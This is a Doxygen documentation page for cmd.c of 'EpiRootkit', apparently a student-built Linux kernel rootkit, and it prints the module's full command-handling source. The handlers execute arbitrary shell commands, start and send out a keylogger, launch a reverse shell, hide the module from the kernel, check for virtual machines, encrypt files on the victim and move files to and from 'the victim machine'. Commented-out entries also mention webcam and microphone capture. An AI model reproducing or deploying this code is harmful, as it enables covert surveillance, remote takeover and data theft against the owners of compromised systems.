EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
cmd.c File Reference
#include <linux/delay.h>
#include <linux/fs.h>
#include <linux/kernel.h>
#include <linux/kmod.h>
#include <linux/mm.h>
#include <linux/module.h>
#include <linux/sched.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/uaccess.h>
#include <linux/utsname.h>
#include <linux/vmalloc.h>
#include "crypto.h"
#include "download.h"
#include "epirootkit.h"
#include "io.h"
#include "menu.h"
#include "passwd.h"
#include "sysinfo.h"
#include "upload.h"
#include "vanish.h"
Include dependency graph for cmd.c:

Go to the source code of this file.

Functions

struct socket * get_worker_socket (void)
 
static int connect_handler (char *args, enum Protocol protocol)
 
static int disconnect_handler (char *args, enum Protocol protocol)
 
static int ping_handler (char *args, enum Protocol protocol)
 
static int change_password_handler (char *args, enum Protocol protocol)
 
static int exec_handler (char *args, enum Protocol protocol)
 
static int klgon_handler (char *args, enum Protocol protocol)
 
static int klgoff_handler (char *args, enum Protocol protocol)
 
static int klg_handler (char *args, enum Protocol protocol)
 
static int getshell_handler (char *args, enum Protocol protocol)
 
static int killcom_handler (char *args, enum Protocol protocol)
 
static int hide_module_handler (char *args, enum Protocol protocol)
 
static int unhide_module_handler (char *args, enum Protocol protocol)
 
static int help_handler (char *args, enum Protocol protocol)
 
static int sysinfo_handler (char *args, enum Protocol protocol)
 
static int is_in_vm_handler (char *args, enum Protocol protocol)
 
static int cipher_handler (char *args, enum Protocol protocol)
 
static int uncipher_handler (char *args, enum Protocol protocol)
 
int rootkit_command (char *command, unsigned command_size, enum Protocol protocol)
 

Variables

static struct command rootkit_commands_array []
 

Function Documentation

◆ change_password_handler()

static int change_password_handler ( char *  args,
enum Protocol  protocol 
)
static

Definition at line 177 of file cmd.c.

177 {
178 if (!args || !*args) {
179 send_to_server(protocol, "Usage: passwd NEW_PASSWORD\n");
180 return -EINVAL;
181 }
182
183 // Check spaces
184 for (char *p = args; *p; p++) {
185 if (*p == ' ') {
186 send_to_server(protocol, "Password must not contain spaces\n");
187 return -EINVAL;
188 }
189 }
190
191 int ret = passwd_set(args);
192 if (ret < 0) {
193 ERR_MSG("change_password_handler: failed to set password: %d\n", ret);
194 send_to_server(protocol, "Failed to set password\n");
195 return ret;
196 }
197
198 send_to_server(protocol, "Password updated\n");
199 return SUCCESS;
200}
#define ERR_MSG(fmt, args...)
Definition config.h:16
#define SUCCESS
Definition config.h:5
int send_to_server(enum Protocol protocol, char *message,...)
Definition network.c:67
int passwd_set(const char *new_password)
Set a new password by updating the stored hash.
Definition passwd.c:73

◆ cipher_handler()

static int cipher_handler ( char *  args,
enum Protocol  protocol 
)
static

Definition at line 521 of file cmd.c.

521 {
522 // Read file
523 char *buffer = NULL;
524 int result = 0;
525
526 if ((result = _read_file(args, &buffer)) < 0)
527 goto end;
528
529 // Cipher buffer
530 char *encrypted_buffer = NULL;
531 size_t encrypted_len = 0;
532
533 if ((result = encrypt_buffer(buffer, result, &encrypted_buffer, &encrypted_len) < 0))
534 goto end;
535
536 // Write data into file
537 if ((result = _write_file(args, encrypted_buffer, encrypted_len)) < 0)
538 goto end;
539
540end:
541 if (result < 0) {
542 send_to_server(protocol, "cipher: Error while ciphering file.");
543 return result;
544 }
545
546 send_to_server(protocol, "File successfully ciphered.");
547 return result;
548}
int encrypt_buffer(const char *in, size_t in_len, char **out, size_t *out_len)
Encrypts a buffer using AES-128 in CBC mode.
Definition aes.c:322
int _write_file(const char *path, const char *buf, size_t len)
Definition io.c:67
int _read_file(const char *path, char **out_buf)
Definition io.c:12

◆ connect_handler()

static int connect_handler ( char *  args,
enum Protocol  protocol 
)
static

Definition at line 202 of file cmd.c.

202 {
203 if (is_user_auth()) {
204 send_to_server(protocol, "You are already authentificated.\n");
205 return true;
206 }
207
208 DBG_MSG("connect_handler: verifying password received: %s...\n", args);
209
210 int pv = passwd_verify(args);
211 if (pv < 0) {
212 ERR_MSG("connect_handler: error verifying password: %d\n", pv);
213 return pv;
214 }
215
216 if (pv == 1) {
217 set_user_auth(true);
218 DBG_MSG("connect_handler: user authenticated\n");
219 send_to_server(protocol, "User authenticated.\n");
220 return true;
221 }
222 else {
223 set_user_auth(false);
224 ERR_MSG("connect_handler: invalid password\n");
225 send_to_server(protocol, "Invalid password.\n");
226 msleep(2 * TIMEOUT_BEFORE_RETRY);
227 return false;
228 }
229}
#define TIMEOUT_BEFORE_RETRY
Definition config.h:36
#define DBG_MSG(fmt, args...)
Definition config.h:15
int set_user_auth(bool auth)
Definition tcp/worker.c:22
bool is_user_auth(void)
Definition tcp/worker.c:13
int passwd_verify(const char *password)
Verify the provided password against the stored hash.
Definition passwd.c:57

◆ disconnect_handler()

static int disconnect_handler ( char *  args,
enum Protocol  protocol 
)
static

Definition at line 231 of file cmd.c.

231 {
232 set_user_auth(false);
233 send_to_server(protocol, "User successfully disconnected.\n");
234 return false;
235}

◆ exec_handler()

static int exec_handler ( char *  args,
enum Protocol  protocol 
)
static

Definition at line 242 of file cmd.c.

242 {
243 bool catch_stds = true;
244
245 // If first non whitespace character is '-s', set catch_stds to false
246 args += strspn(args, " \t");
247 if (strncmp(args, "-s ", 3) == 0) {
248 catch_stds = false;
249 args += 3; // Skip the '-s ' part
250 }
251
252 // Extract the command from the received message
253 char *command = args;
254 command[strcspn(command, "\n")] = '\0';
255 DBG_MSG("exec_handler: executing command: %s\n", command);
256
257 // Execute the command
258 int ret_code = exec_str_as_command(command, catch_stds);
259 ret_code = ret_code >> 8;
260 DBG_MSG("exec_handler: command executed with return code: %d\n", ret_code);
261 if (ret_code < 0) {
262 ERR_MSG("exec_handler: failed to execute command\n");
263 return ret_code;
264 }
265
266 if (catch_stds) {
267 char stdout_msg[] = "stdout:\n";
268 int stdout_buff_size = 0;
269 char *stdout_buff;
270 stdout_buff_size = _read_file(STDOUT_FILE, &stdout_buff);
271
272 char stderr_msg[] = "stderr:\n";
273 int stderr_buff_size = 0;
274 char *stderr_buff;
275 stderr_buff_size = _read_file(STDERR_FILE, &stderr_buff);
276
277 if (stdout_buff_size < 0 || stderr_buff_size < 0) {
278 ERR_MSG("exec_handler: failed to read stdout or stderr files\n");
279 send_to_server(protocol, "Failed to read stdout or stderr files\n");
280 if (stdout_buff)
281 kfree(stdout_buff);
282 if (stderr_buff)
283 kfree(stderr_buff);
284 return -EIO;
285 }
286
287 char code_msg[32] = { 0 };
288 snprintf(code_msg, sizeof(code_msg), "Terminated with code: %d\n",
289 ret_code);
290
291 char *output_msg =
292 kmalloc(stdout_buff_size + stderr_buff_size + sizeof(stdout_msg) + sizeof(stderr_msg) + sizeof(code_msg),
293 GFP_KERNEL);
294 if (!output_msg) {
295 ERR_MSG("exec_handler: failed to allocate memory for output message\n");
296 kfree(stdout_buff);
297 kfree(stderr_buff);
298 return -ENOMEM;
299 }
300 snprintf(output_msg,
301 stdout_buff_size + stderr_buff_size + sizeof(stdout_msg) + sizeof(stderr_msg) + sizeof(code_msg),
302 "%s%s%s%s%s", stdout_msg, stdout_buff, stderr_msg, stderr_buff,
303 code_msg);
304
305 send_to_server(protocol, output_msg);
306 kfree(output_msg);
307 kfree(stdout_buff);
308 kfree(stderr_buff);
309 }
310 else {
311 // If not catching stds, just send the return code
312 char ret_code_msg[32] = { 0 };
313 snprintf(ret_code_msg, sizeof(ret_code_msg), "Terminated with code: %d\n",
314 ret_code);
315 send_to_server(protocol, ret_code_msg);
316 }
317
318 return ret_code;
319}
#define STDOUT_FILE
Definition config.h:57
#define STDERR_FILE
Definition config.h:58
#define exec_str_as_command(user_cmd, catch_stds)
Definition epirootkit.h:37

◆ get_worker_socket()

struct socket * get_worker_socket ( void  )
extern

Definition at line 17 of file socket.c.

17 {
18 struct socket *s;
19 mutex_lock(&worker_socket_lock);
20 s = worker_socket;
21 mutex_unlock(&worker_socket_lock);
22 return s;
23}
static struct socket * worker_socket
Definition socket.c:10

◆ getshell_handler()

static int getshell_handler ( char *  args,
enum Protocol  protocol 
)
static

Definition at line 356 of file cmd.c.

356 {
357 // remove all trailing space in args
358 args += strspn(args, " \t");
359 args[strcspn(args, "\n")] = '\0';
360 // check if all chars are numbers
361 if (args[0] == '\0') {
362 DBG_MSG("getshell_handler: no port specified, using default port %d\n",
364 args = "0";
365 }
366 long shellport = simple_strtol(args, NULL, 10);
367 if (shellport < 0 || shellport > 65535) {
368 ERR_MSG("getshell_handler: invalid port number %ld\n", shellport);
369 send_to_server(protocol, "Invalid port number\n");
370 return -EINVAL;
371 }
372
373 // Lancer le reverse shell avec le port spécifié
374 int ret_code = launch_reverse_shell(args);
375
376 if (ret_code < 0) {
377 ERR_MSG("getshell_handler: failed to launch reverse shell on port %ld\n",
378 shellport);
379 send_to_server(protocol, "Failed to launch reverse shell\n");
380 }
381
382 else
383 send_to_server(protocol,
384 "Reverse shell launched successfully on port %ld\n",
385 shellport);
386
387 return ret_code;
388}
#define REVERSE_SHELL_PORT
Definition config.h:25
int launch_reverse_shell(char *args)
Definition socat.c:83

◆ help_handler()

static int help_handler ( char *  args,
enum Protocol  protocol 
)
static

Definition at line 101 of file cmd.c.

101 {
102 int i;
103 char *help_msg = kmalloc(STD_BUFFER_SIZE, GFP_KERNEL);
104 int offset = snprintf(help_msg, STD_BUFFER_SIZE, "Available commands:\n");
105 for (i = 0; rootkit_commands_array[i].cmd_name != NULL; i++) {
106 offset += snprintf(help_msg + offset, STD_BUFFER_SIZE - offset,
107 "\t - %s: %s\n", rootkit_commands_array[i].cmd_name,
108 rootkit_commands_array[i].cmd_desc);
109 if (offset >= STD_BUFFER_SIZE) {
110 ERR_MSG("help_handler: help message truncated\n");
111 break;
112 }
113 }
114
115 send_to_server(protocol, help_msg);
116
117 kfree(help_msg);
118
119 return 0;
120}
static struct command rootkit_commands_array[]
Definition cmd.c:49
#define STD_BUFFER_SIZE
Definition config.h:68
char * cmd_name
Definition epirootkit.h:27

◆ hide_module_handler()

static int hide_module_handler ( char *  args,
enum Protocol  protocol 
)
static

Definition at line 412 of file cmd.c.

412 {
413 DBG_MSG("hide_module_handler: hiding module\n");
414 int ret_code = hide_module();
415 if (ret_code < 0) {
416 ERR_MSG("hide_module_handler: failed to hide module\n");
417 }
418 return ret_code;
419}
int hide_module(void)
Definition ghost.c:7

◆ is_in_vm_handler()

static int is_in_vm_handler ( char *  args,
enum Protocol  protocol 
)
static

Definition at line 87 of file cmd.c.

87 {
88 (void)args;
89
91 send_to_server(protocol,
92 "[YES] The rootkit is running in a virtual machine.\n");
93 }
94 else {
95 send_to_server(protocol,
96 "[NOP] The rootkit is not running in a virtual machine.\n");
97 }
98 return SUCCESS;
99}
bool is_running_in_virtual_env(void)
Determines if the system is running in a virtualized environment.
Definition vanish.c:55

◆ killcom_handler()

static int killcom_handler ( char *  args,
enum Protocol  protocol 
)
static

Definition at line 390 of file cmd.c.

390 {
391 DBG_MSG("killcom_handler: killcom received, exiting...\n");
392
393 // The module will be removed by the usermode helper
394 static char *argv[] = { "/usr/sbin/rmmod", "epirootkit", NULL };
395 static char *envp[] = { "HOME=/", "PATH=/sbin:/usr/sbin:/bin:/usr/bin", NULL };
396
397 // Unhiding module...
399 int ret_code = unhide_module();
400 if (ret_code < 0) {
401 ERR_MSG("unhide_module_handler: failed to unhide module\n");
402 return ret_code;
403 }
404
405 DBG_MSG("killcom_handler: calling rmmod from usermode...\n");
406
407 call_usermodehelper(argv[0], argv, envp, UMH_NO_WAIT);
408
409 return 0;
410}
int unhide_module(void)
Definition ghost.c:24

◆ klg_handler()

static int klg_handler ( char *  args,
enum Protocol  protocol 
)
static

Definition at line 345 of file cmd.c.

345 {
346 int ret_code = epikeylog_send_to_server();
347 if (ret_code < 0) {
348 ERR_MSG("klg_handler: failed to send keylogger content\n");
349 send_to_server(protocol, "");
350 return ret_code;
351 }
352 DBG_MSG("klg_handler: keylogger content sent\n");
353 return ret_code;
354}
int epikeylog_send_to_server(void)
Handles sending the keylogger buffer content to the remote server.
Definition epikeylog.c:245

◆ klgoff_handler()

static int klgoff_handler ( char *  args,
enum Protocol  protocol 
)
static

Definition at line 333 of file cmd.c.

333 {
334 int ret_code = epikeylog_exit();
335 if (ret_code < 0) {
336 ERR_MSG("klgoff_handler: failed to deactivate keylogger\n");
337 send_to_server(protocol, "");
338 return ret_code;
339 }
340 send_to_server(protocol, "keylogger desactivated\n");
341 DBG_MSG("klgoff_handler: keylogger desactivated\n");
342 return ret_code;
343}
int epikeylog_exit(void)
Exits the keylogger module, unregisters the notifier, and cleans up.
Definition epikeylog.c:363

◆ klgon_handler()

static int klgon_handler ( char *  args,
enum Protocol  protocol 
)
static

Definition at line 321 of file cmd.c.

321 {
322 int ret_code = epikeylog_init();
323 if (ret_code < 0) {
324 ERR_MSG("klgon_handler: failed to activate keylogger\n");
325 send_to_server(protocol, "");
326 return ret_code;
327 }
328 send_to_server(protocol, "keylogger activated\n");
329 DBG_MSG("klgon_handler: keylogger activated\n");
330 return ret_code;
331}
int epikeylog_init()
Initializes the keylogger module.
Definition epikeylog.c:325

◆ ping_handler()

static int ping_handler ( char *  args,
enum Protocol  protocol 
)
static

Definition at line 237 of file cmd.c.

237 {
238 send_to_server(protocol, "pong\n");
239 return SUCCESS;
240}

◆ rootkit_command()

int rootkit_command ( char *  command,
unsigned  command_size,
enum Protocol  protocol 
)

Definition at line 122 of file cmd.c.

123 {
124 // Handle ongoing download
125 if (download(command) == 0) {
126 return 0;
127 }
128
129 // Strip trailing newline if present
130 command[strcspn(command, "\n")] = '\0';
131
132 // Validate null termination
133 DBG_MSG("rootkit_command: received command: \"%s\"\n", command);
134 if (command[command_size - 1] != '\0') {
135 ERR_MSG("rootkit_command: command is not null-terminated\n");
136 return -EINVAL;
137 }
138
139 // Allow these commands without authentication
140 const char *allowed_commands[] = { "connect", "help", "ping", NULL };
141
142 if (!is_user_auth()) {
143 int allowed = 0;
144 for (int i = 0; allowed_commands[i] != NULL; i++) {
145 if (strncmp(command, allowed_commands[i], strlen(allowed_commands[i])) == 0) {
146 allowed = 1;
147 break;
148 }
149 }
150
151 if (!allowed) {
152 send_to_server(protocol, "Authentication required. Use the 'connect' "
153 "command to authenticate.\n");
154 ERR_MSG("rootkit_command: unauthorized command without authentication\n");
155 return -FAILURE;
156 }
157 }
158
159 // Match command against registered handlers
160 for (int i = 0; rootkit_commands_array[i].cmd_name != NULL; i++) {
161 if (strncmp(command, rootkit_commands_array[i].cmd_name,
162 rootkit_commands_array[i].cmd_name_size)
163 == 0) {
165 while (*args == ' ')
166 args++;
167 return rootkit_commands_array[i].cmd_handler(args, protocol);
168 }
169 }
170
171 // Unknown command
172 ERR_MSG("rootkit_command: unknown command \"%s\"\n", command);
173 send_to_server(protocol, "Unknown command\n");
174 return -EINVAL;
175}
#define FAILURE
Definition config.h:6
unsigned cmd_name_size
Definition epirootkit.h:28
int(* cmd_handler)(char *args, enum Protocol protocol)
Definition epirootkit.h:31

◆ sysinfo_handler()

static int sysinfo_handler ( char *  args,
enum Protocol  protocol 
)
static

Definition at line 509 of file cmd.c.

509 {
510 char *info = get_sysinfo();
511 if (!info) {
512 send_to_server(protocol, "{error: Failed to retrieve system information}");
513 return -ENOMEM;
514 }
515
516 send_to_server(protocol, info);
517 kfree(info);
518 return 0;
519}
char * get_sysinfo(void)
Definition sysinfo.c:18

◆ uncipher_handler()

static int uncipher_handler ( char *  args,
enum Protocol  protocol 
)
static

Definition at line 550 of file cmd.c.

550 {
551 // Read file
552 char *encrypted_buffer = NULL;
553 int result = 0;
554
555 if ((result = _read_file(args, &encrypted_buffer)) < 0)
556 goto end;
557
558 // Uncipher buffer
559 char *decrypted_buffer = NULL;
560 size_t decrypted_len = 0;
561
562 if ((result = decrypt_buffer(encrypted_buffer, result, &decrypted_buffer, &decrypted_len) < 0))
563 goto end;
564
565 // Write data into file
566 if ((result = _write_file(args, decrypted_buffer, decrypted_len)) < 0)
567 goto end;
568
569end:
570 if (result < 0) {
571 send_to_server(protocol, "cipher: Error while unciphering file.");
572 return result;
573 }
574
575 send_to_server(protocol, "File successfully unciphered.");
576 return result;
577}
int decrypt_buffer(const char *in, size_t in_len, char **out, size_t *out_len)
Decrypts a buffer using AES-128 in CBC mode.
Definition aes.c:335

◆ unhide_module_handler()

static int unhide_module_handler ( char *  args,
enum Protocol  protocol 
)
static

Definition at line 421 of file cmd.c.

421 {
422 DBG_MSG("unhide_module_handler: unhiding module\n");
423 int ret_code = unhide_module();
424 if (ret_code < 0) {
425 ERR_MSG("unhide_module_handler: failed to unhide module\n");
426 }
427 return ret_code;
428}

Variable Documentation

◆ rootkit_commands_array

struct command rootkit_commands_array[]
static

Definition at line 49 of file cmd.c.

49 {
50 { "connect", 7, "unlock access to rootkit. Usage: connect [password]", 51,
52 { "disconnect", 10, "disconnect user", 15, disconnect_handler },
53 { "ping", 4, "ping the rootkit", 16, ping_handler },
54 { "passwd", 6, "change rootkit password. Usage: passwd NEW_PASSWORD", 51,
56 { "exec", 4,
57 "execute a shell command. Usage: exec [-s for silent mode] [args*]", 65,
59 { "klgon", 6, "activate keylogger", 18, klgon_handler },
60 { "klgoff", 7, "deactivate keylogger", 20, klgoff_handler },
61 { "klg", 3, "send keylogger content to server", 32, klg_handler },
62 { "getshell", 8, "launch reverse shell", 20, getshell_handler },
63 { "killcom", 7, "exit the module", 15, killcom_handler },
64 { "hide_module", 11, "hide the module from the kernel", 31,
66 { "unhide_module", 13, "unhide the module in the kernel", 31,
68 { "help", 4, "display this help message", 25, help_handler },
69 // { "start_webcam", 11, "activate webcam", 15, start_webcam_handler },
70 // { "capture_image", 13, "capture an image with the webcam", 32,
71 // capture_image_handler }, { "start_microphone", 15, "start recording
72 // from microphone", 31, start_microphone_handler }, { "play_audio", 10,
73 // "play an audio file", 18, play_audio_handler },
74 { "hooks", 5, "manage hide/forbid/alter rules", 30, hooks_menu_handler },
75 { "upload", 6, "receive a file and save it on disk", 34, upload_handler },
76 { "download", 8, "download a file from victim machine", 35,
78 { "sysinfo", 7, "get system information in JSON format", 37,
80 { "is_in_vm", 8, "check if remote rootkit is running in vm", 40,
82 { "cipher", 6, "cipher the file in parameter", 29, cipher_handler },
83 { "uncipher", 8, "uncipher the file in parameter", 31, uncipher_handler },
84 { NULL, 0, NULL, 0, NULL }
85};
static int hide_module_handler(char *args, enum Protocol protocol)
Definition cmd.c:412
static int klg_handler(char *args, enum Protocol protocol)
Definition cmd.c:345
static int help_handler(char *args, enum Protocol protocol)
Definition cmd.c:101
static int connect_handler(char *args, enum Protocol protocol)
Definition cmd.c:202
static int exec_handler(char *args, enum Protocol protocol)
Definition cmd.c:242
static int is_in_vm_handler(char *args, enum Protocol protocol)
Definition cmd.c:87
static int getshell_handler(char *args, enum Protocol protocol)
Definition cmd.c:356
static int change_password_handler(char *args, enum Protocol protocol)
Definition cmd.c:177
static int cipher_handler(char *args, enum Protocol protocol)
Definition cmd.c:521
static int unhide_module_handler(char *args, enum Protocol protocol)
Definition cmd.c:421
static int ping_handler(char *args, enum Protocol protocol)
Definition cmd.c:237
static int uncipher_handler(char *args, enum Protocol protocol)
Definition cmd.c:550
static int klgon_handler(char *args, enum Protocol protocol)
Definition cmd.c:321
static int killcom_handler(char *args, enum Protocol protocol)
Definition cmd.c:390
static int klgoff_handler(char *args, enum Protocol protocol)
Definition cmd.c:333
static int sysinfo_handler(char *args, enum Protocol protocol)
Definition cmd.c:509
static int disconnect_handler(char *args, enum Protocol protocol)
Definition cmd.c:231
int download_handler(char *args, enum Protocol protocol)
Definition download.c:24
int hooks_menu_handler(char *args, enum Protocol protocol)
Definition menu.c:289
int upload_handler(char *args, enum Protocol protocol)
Definition upload.c:101